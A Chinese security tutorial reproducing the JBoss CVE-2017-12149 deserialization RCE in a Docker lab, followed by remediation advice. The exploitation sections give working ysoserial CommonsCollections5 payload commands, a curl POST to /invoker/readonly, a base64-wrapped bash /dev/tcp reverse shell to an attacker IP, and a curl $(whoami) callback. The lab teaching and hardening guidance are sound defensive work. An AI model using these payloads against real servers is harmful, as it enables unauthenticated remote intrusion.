Java反序列化漏洞实战:CVE-2017-12149原理、利用与修复
1. 项目概述:一次经典的中间件漏洞实战
几年前,当我在一次内部红蓝对抗演练中,第一次尝试利用CVE-2017-12149这个漏洞时,那种“一击即中”的感觉至今记忆犹新。这不是一个复杂的0day,但它却像一把精准的钥匙,能轻易打开许多未及时上锁的JBoss大门。对于从事安全研究、渗透测试或者运维开发的朋友来说,理解并复现这个漏洞,其价值远不止于掌握一个攻击手法。它更像是一个绝佳的标本,能让你透彻理解Java反序列化漏洞的通用攻击链、中间件默认配置的风险,以及“漏洞复现”这件事本身的方法论。简单来说,CVE-2017-12149是JBoss应用服务器中一个基于Java反序列化的远程代码执行漏洞,攻击者无需认证即可通过特制的HTTP请求,在目标服务器上执行任意命令。今天,我就以一个老兵的视角,带你从环境搭建到漏洞利用,完整地走一遍这个流程,并深入聊聊其中的门道和那些容易踩的坑。
2. 漏洞原理深度拆解:为什么序列化会变成武器?
要打中靶心,你得先看清靶子。CVE-2017-12149的核心,在于JBoss的 HttpInvoker 组件。我们先抛开漏洞,想想这个组件设计的初衷:它允许客户端通过HTTP协议,远程调用服务器上的Java对象方法。为了实现这个功能,客户端需要把调用的请求(包括类名、方法名、参数等)打包,通过网络发送给服务器。服务器收到后,需要解包,还原出这个请求对象,然后执行对应的方法。这个“打包-传输-解包还原”的过程,就是序列化与反序列化。
2.1 序列化与反序列化的“信任危机”
Java的序列化机制非常强大,它能把一个复杂的对象图(包括对象的状态、引用的其他对象)转换成字节流。反序列化则是逆过程,根据字节流重建内存中的对象。问题就出在这个“重建”过程上。反序列化机制在还原对象时,会递归地创建字节流中描述的所有对象,并执行这些对象的 readObject 方法(如果定义了的话)。
想象一下,你收到一个快递(字节流),快递单上写着“这是一个玩具车”。你信任快递公司,于是你按照说明开始组装这个“玩具车”。但如果你收到的其实是一套精密的炸弹零件,而组装说明书( readObject 方法)里写的是“组装完成后自动引爆”,后果可想而知。攻击者要做的,就是精心构造一个“恶意快递”——一段特殊的序列化字节流。这段字节流描述的不是一个普通的业务对象,而是一个“攻击链”的起点对象。
2.2 JBoss HttpInvoker 的致命疏忽
在JBoss中, HttpInvoker 服务(默认路径如 /invoker/readonly )被设计用来处理这种序列化的请求。其本意是处理来自可信客户端的、合法的远程调用。然而,在受影响版本(主要是JBoss AS 5.x/6.x)的默认配置下,这个服务对接收到的序列化数据没有进行任何的有效性校验和过滤。它盲目地信任所有传入的数据,直接进行了反序列化操作。
这就为攻击者打开了大门。攻击者可以伪装成一个客户端,向这个服务端点发送精心构造的恶意序列化数据。当JBoss服务器反序列化这些数据时,就会触发隐藏在其中的攻击链,最终达到执行任意代码的目的。这个漏洞之所以影响广泛,正是因为 HttpInvoker 服务在默认安装后就是开启的,且无需任何身份认证。
注意 :这里的关键是“默认配置”。很多中间件为了开发便利,会开启一些调试或管理接口,但在生产环境中往往被遗忘。安全加固的第一步,就是审查并关闭这些不必要的服务。
2.3 通用攻击链:从 InvokerTransformer 到命令执行
那么,恶意序列化数据里具体是什么呢?这就要提到一个经典的Java反序列化利用链,它通常依赖于Apache Commons Collections(CC)库。在CVE-2017-12149的利用中,最常用的正是基于CC 3.2.1版本的链(当然,其他链也可行,但这是最稳定通用的)。
这条链的核心是利用了CC库中一些类的特性,它们可以将“转换”、“调用”等操作串联起来。简单来说,攻击者构造一个对象,这个对象在反序列化后,会触发一系列连锁反应:
- 找到一个起点类(如
AnnotationInvocationHandler或BadAttributeValueExpException,在更高版本JDK中可能受限),其readObject方法会调用某个Map或Transformer的特定方法。 - 通过
ChainedTransformer将多个Transformer连接起来。其中关键一环是InvokerTransformer,它能够利用反射,动态调用任意类的任意方法。 - 最终,
InvokerTransformer被设置为调用Runtime.getRuntime().exec(“你的命令”)。
当恶意对象被反序列化时,这条链就像多米诺骨牌一样被推倒,最终执行系统命令。攻击工具(如ysoserial)的作用,就是自动化地生成包含这条攻击链的序列化字节流。
3. 靶场环境搭建与核心工具准备
理论懂了,接下来就是动手。复现漏洞的第一步是搭建一个安全的实验环境。 强烈建议在虚拟机或隔离的Docker环境中进行所有操作 。
3.1 漏洞靶机部署
我推荐使用Vulhub这个开源漏洞靶场项目,它提供了docker-compose编排的一键化环境,非常方便。
- 基础环境准备 :确保你的实验机安装了Docker和docker-compose。如果没有,请先安装。
- 获取Vulhub :从GitHub克隆Vulhub项目。
git clone https://github.com/vulhub/vulhub.git cd vulhub - 启动JBoss漏洞环境 :进入对应的目录并启动服务。
执行后,Docker会拉取镜像并启动一个包含漏洞的JBoss AS 6.1.0服务,通常监听在cd jboss/CVE-2017-12149 docker-compose up -dhttp://your-ip:8080。
实操心得 :使用
docker ps命令确认容器是否正常运行。有时端口可能被占用,可以通过修改docker-compose.yml文件中的端口映射(如8080:8080改为8088:8080)来解决。靶场环境就绪后,先别急着攻击,用浏览器访问一下http://your-ip:8080,看看JBoss的默认页面是否能正常打开,这是良好的排查习惯。
3.2 攻击机与武器配置
我们的攻击机(通常是Kali Linux或者任何安装了Python的Linux/Mac主机)需要准备两样核心“武器”。
-
漏洞探测脚本 :我们需要一个工具来检测目标是否存在
/invoker/readonly这个端点,并且是否可访问。我们可以自己写一个简单的Python脚本,或者使用现成的扫描器模块。这里给出一个简单的Python探测示例:import requests import sys def check_vuln(url): vuln_path = '/invoker/readonly' target_url = url.rstrip('/') + vuln_path try: resp = requests.get(target_url, timeout=5) # 如果返回状态码是200或者500(有时500也表明服务存在),则可能存在问题 if resp.status_code in [200, 500]: print(f'[+] 疑似存在漏洞端点: {target_url}') # 可以进一步尝试发送一个畸形的序列化数据看反应 test_data = b'\xac\xed\x00\x05' # 简单的Java序列化魔术头 post_resp = requests.post(target_url, data=test_data, timeout=5) if post_resp.status_code != 404: print(f'[+] 端点接受POST请求,风险较高!') return True else: print(f'[-] 端点不存在或已关闭: {target_url} (HTTP {resp.status_code})') return False except Exception as e: print(f'[-] 探测失败: {e}') return False if __name__ == '__main__': if len(sys.argv) != 2: print('用法: python3 checker.py http://target-ip:8080') sys.exit(1) check_vuln(sys.argv[1]) -
漏洞利用工具 :我们需要生成恶意的序列化数据。最著名的工具是
ysoserial。你需要自己编译它,或者从可靠来源获取编译好的jar包。- 下载并编译ysoserial:
git clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn clean package -DskipTests- 编译成功后,在
target/目录下会生成ysoserial-0.0.6-SNAPSHOT-all.jar(版本号可能不同)。 - 这个工具可以生成多种利用链的payload,对于CVE-2017-12149,我们通常使用
CommonsCollections5这条链(兼容性较好)。
4. 漏洞复现实操全流程记录
环境工具齐备,现在让我们发起“攻击”。请再次确认,你的所有操作都在自己搭建的靶场环境中进行。
4.1 第一步:信息收集与漏洞确认
首先,对目标进行基础信息收集。
# 使用nmap扫描JBoss常见端口和服务
nmap -sV -p 8080 <靶机IP>
确认服务是JBoss。然后,使用我们刚才写的探测脚本,或者用浏览器直接访问 http://<靶机IP>:8080/invoker/readonly 。如果返回“HTTP Status 405 - JBWEB000065: HTTP method GET is not supported by this URL”或类似的错误( 注意,不是404 ),这通常是一个强烈的信号,表明这个 HttpInvoker 服务是存在的,它只是不支持GET方法,但可能支持POST。405状态码比404“友好”得多,它告诉你“这个门存在,但你用错了钥匙(方法)”。
4.2 第二步:生成恶意Payload
确认漏洞端点存在后,我们使用ysoserial生成一个执行命令的Payload。假设我们想让靶机执行命令 touch /tmp/success 来创建一个文件作为攻击成功的标志。
# 在攻击机上执行
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "touch /tmp/success" > payload.ser
这条命令的意思是:使用 CommonsCollections5 利用链,生成一个执行 touch /tmp/success 命令的序列化对象,并将其二进制数据保存到 payload.ser 文件中。
关键细节解析 :为什么是
CommonsCollections5?CC库有多个版本,其中3.2.1版本中包含了可利用的类。CommonsCollections5是ysoserial中针对CC 3.2.1的一条利用链,它在多种环境下(包括我们使用的JBoss AS 6.1.0)稳定性较高。你可以把它理解为一套针对特定锁芯(CC库)的撬锁工具。
4.3 第三步:发送Payload执行攻击
现在,我们将这个恶意数据包发送给目标的漏洞端点。这里使用 curl 命令最为直接。
curl -X POST --header 'Content-Type: application/octet-stream' --data-binary @payload.ser http://<靶机IP>:8080/invoker/readonly
-X POST: 指定使用POST方法,因为该端点通常只处理POST请求。--header 'Content-Type: application/octet-stream': 设置内容类型为二进制流,这是Java序列化数据常见的Content-Type。--data-binary @payload.ser: 将payload.ser文件中的原始二进制数据作为请求体发送。- 最后的URL就是我们的漏洞端点。
发送后,观察响应。由于这个漏洞是“盲打”(即执行命令但没有直接回显),服务器通常会返回一个HTTP 500内部服务器错误,或者直接断开连接。 这通常是攻击成功的迹象 ,因为服务器在处理我们恶意构造的序列化数据时崩溃或出错了。
4.4 第四步:验证攻击效果
如何确认命令真的执行了呢?我们需要进入靶机容器内部查看。
# 首先找到运行JBoss的容器ID
docker ps | grep jboss
# 假设容器ID是 abc123,进入容器
docker exec -it abc123 /bin/bash
# 在容器内检查文件是否创建成功
ls -la /tmp/success
如果看到 /tmp/success 这个文件,恭喜你,漏洞复现成功!你已经远程在JBoss服务器上执行了系统命令。
4.5 第五步:进阶利用——获取反向Shell
创建文件只是验证,真正的攻击往往需要获取一个交互式的Shell。我们可以使用反向Shell的方式。
-
在攻击机上监听一个端口 :
nc -lvnp 4444 -
生成反向Shell的Payload 。我们需要将反向Shell命令进行编码,避免特殊字符问题。一个常用的Bash反向Shell命令是:
bash -i >& /dev/tcp/<攻击机IP>/4444 0>&1我们可以使用Java的
Runtime.getRuntime().exec()来执行它,但直接写有空格和特殊字符可能有问题。一个更稳健的方式是使用bash -c包裹,或者用Base64编码。这里用Base64编码示例:echo 'bash -i >& /dev/tcp/<攻击机IP>/4444 0>&1' | base64 # 假设输出结果为:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQo=然后生成Payload:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQo=}|{base64,-d}|{bash,-i}" > reverse.ser这个命令看起来很复杂,其实原理是:执行一个bash,它先解码base64字符串,然后将解码后的原命令交给另一个bash执行。
-
发送Payload :
curl -X POST -H "Content-Type: application/octet-stream" --data-binary @reverse.ser http://<靶机IP>:8080/invoker/readonly -
如果一切顺利,你会在之前运行
nc的命令行窗口看到来自靶机的Shell连接。
5. 漏洞修复与安全加固建议
成功复现漏洞后,我们更应该知道如何防御它。对于企业安全运维人员,以下是必须采取的步骤:
5.1 临时缓解措施
-
立即删除或限制访问
HttpInvoker服务 :- 找到JBoss的部署目录(如
$JBOSS_HOME/server/default/deploy/)。 - 删除或重命名
http-invoker.sar这个目录(或对应的JAR包)。这是最直接有效的方法。 - 如果无法删除,可以在JBoss的web配置(如
$JBOSS_HOME/server/default/deploy/jbossweb.sar/server.xml)中,通过配置Valve或Filter,对/invoker/*路径进行IP白名单限制或直接禁止访问。
- 找到JBoss的部署目录(如
-
升级Apache Commons Collections库 : 虽然漏洞触发点在JBoss,但利用链依赖CC库。将CC库升级到3.2.2或更高版本(该版本修复了相关危险类的利用问题),可以阻断大部分公开的利用链。但这并非根本解决之道,因为可能存在其他利用链。
5.2 根本解决方案
升级JBoss版本 。Red Hat官方早已在后续版本的JBoss EAP(以及社区版的WildFly)中修复了此问题。对于JBoss AS 5.x/6.x,官方建议升级到不受影响的版本。这是最推荐的、一劳永逸的方法。
5.3 安全开发与运维规范
- 最小化暴露面 :生产环境中,严格审查并关闭所有非必要的管理接口、调试接口和RMI服务。遵循最小权限原则。
- 反序列化过滤 :在代码层面,如果业务必须使用反序列化,应使用白名单机制,只允许反序列化预期的、安全的类。可以使用Java Security Manager或第三方安全库(如Apache Commons IO的
ValidatingObjectInputStream)来实现。 - 依赖库安全管理 :定期使用SCA(软件成分分析)工具扫描项目中的第三方依赖,及时更新存在已知漏洞的库版本。
- 网络层防护 :部署WAF(Web应用防火墙),配置规则拦截对
/invoker/readonly等敏感路径的请求,并检测异常的序列化数据包特征。
6. 复现过程中的常见问题与排查技巧
即使按照步骤来,你也可能会遇到一些问题。这里记录几个我踩过的坑和解决方法。
| 问题现象 | 可能原因 | 排查与解决思路 |
|---|---|---|
访问 /invoker/readonly 返回404 |
1. 靶机环境未正确启动。 2. 该服务已被移除或禁用(某些修复后的版本)。 |
1. 检查docker容器状态 docker-compose ps ,查看日志 docker-compose logs 。 2. 确认JBoss版本,早期版本(如5.0)路径可能是 /invoker/JMXInvokerServlet 。 |
| 发送Payload后,curl命令长时间无响应或连接被重置 | 1. Payload执行导致JBoss进程崩溃或陷入异常。 2. 网络问题或防火墙拦截。 |
1. 这通常是攻击成功的表现 。立即去容器内验证命令是否执行(如检查 /tmp/success )。 2. 尝试执行一个耗时极短的命令,如 sleep 1 。 |
| 命令执行成功,但反向Shell无法连接 | 1. 攻击机防火墙未开放监听端口。 2. 靶机容器网络与攻击机不互通(常见于Docker的某些网络模式)。 3. 反向Shell命令编码或语法错误。 |
1. 检查攻击机防火墙规则,或换用其他端口。 2. 确保攻击机IP是靶机容器能访问到的(在Docker默认的bridge网络下,容器内需使用宿主机的IP)。 3. 先在靶机上用 ping 或 curl 测试到攻击机的网络连通性。 4. 简化测试,先尝试能回显的命令,如 curl http://攻击机IP:8000/$(whoami) ,在攻击机用 python3 -m http.server 8000 监听看请求。 |
| 使用ysoserial生成Payload时报错或生成的Payload无效 | 1. Java版本不兼容。 2. 目标环境缺少对应的利用链依赖(CC库版本不对)。 |
1. 尝试使用与靶机相近版本的Java来运行ysoserial(如JDK 6/7/8)。 2. 换用ysoserial中的其他利用链尝试,如 CommonsCollections1 , CommonsCollections2 , CommonsCollections3 等。使用 java -jar ysoserial.jar 查看所有可用链。 |
| 漏洞修复后如何验证 | 需要确认修复是否生效。 | 1. 再次访问 /invoker/readonly ,应返回404或403。 2. 尝试发送Payload,应无法再执行命令(可配合在靶机监听 touch /tmp/test_fail 命令来验证)。 |
最后一点个人体会 :复现CVE-2017-12149这样的历史漏洞,绝不仅仅是为了学会一个攻击命令。它的价值在于,像解剖一只麻雀一样,让你完整地看到从漏洞成因、利用原理、工具使用到防御修复的整个闭环。在这个过程中锻炼出来的环境搭建、问题排查、工具调试和原理追溯的能力,才是应对未来层出不穷的新漏洞时,你最宝贵的武器。每次复现后,不妨多问自己几个“为什么”:为什么这个点会有问题?修复方案为什么是那样?有没有其他绕过方式?这样的思考,远比单纯地敲下那行攻击命令更有意义。
更多推荐


所有评论(0)